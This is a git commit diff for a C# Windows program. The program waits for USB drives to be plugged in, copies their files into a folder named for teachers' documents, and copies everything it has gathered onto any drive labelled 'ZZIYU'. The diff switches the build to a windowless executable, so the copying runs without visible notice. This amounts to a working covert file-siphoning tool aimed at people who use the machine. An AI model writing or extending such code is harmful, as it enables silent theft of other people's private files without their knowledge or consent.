自动识别USB并拷出

This commit is contained in:
ZtRXR 2023-10-12 19:20:24 +08:00
parent c4cd0e729c
commit ca29d275a8
2 changed files with 37 additions and 6 deletions

View File

@ -1,8 +1,8 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net7.0</TargetFramework>
<OutputType>WinExe</OutputType>
<TargetFramework>net7.0-windows</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>

View File

@ -9,7 +9,7 @@ static string GetVolumeLabel(string driveName)
}
catch (Exception)
{
return null;
return "default";
}
}
@ -19,13 +19,17 @@ ManagementEventWatcher managementEventWatcher = new(query);
Console.WriteLine("Waiting for USB...");
managementEventWatcher.EventArrived += (s, e) =>
{
/*Console.WriteLine("触发器被触发了");*/
string driveName = e.NewEvent.Properties["DriveName"].Value.ToString();
string dPath = Path.Join(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), "USBCopy", GetVolumeLabel(driveName));
Console.WriteLine(driveName);
string dPath = Path.Join("D:", "老师文档", GetVolumeLabel(driveName));
Console.WriteLine($"Detected: {driveName} || Save To -> : {dPath}");
@ -35,10 +39,37 @@ managementEventWatcher.EventArrived += (s, e) =>
}
var copyList = new List<(long, FileInfo, string, string)>();
var sortedList=new List<(long, FileInfo, string, string)>();
var dataDir = new DirectoryInfo(Path.Join("D:", "老师文档"));
if (GetVolumeLabel(driveName) == "ZZIYU")
{
Console.WriteLine("检测到拷出USB");
if (!dataDir.Exists)
{
dataDir.Create();
}
FileCopy.Copy(Path.Join("D:","老师文档"), Path.Join(driveName,"FILE", "USBCopy"), copyList);
sortedList = copyList.OrderBy(s => s.Item1).Select(s => s).ToList();
foreach (var copyItem in sortedList)
{
Console.WriteLine($"{copyItem.Item4} {copyItem.Item2} --> {copyItem.Item3} {copyItem.Item1 / 1024 / 1024}MB");
try
{
copyItem.Item2.CopyTo(copyItem.Item3, true);
}
catch (Exception ex)
{
Console.WriteLine($"Copy Error {copyItem.Item2}");
/*Console.WriteLine(ex.ToString());*/
}
}
Console.WriteLine("Copy out OK---------");
return;
}
FileCopy.Copy(driveName, dPath,copyList);
var sortedList = copyList.OrderBy(s => s.Item1).Select(s => s);
sortedList = copyList.OrderBy(s => s.Item1).Select(s => s).ToList();
/*Console.WriteLine($"元素个数{sortedList.Count()}");*/
foreach (var copyItem in sortedList)
{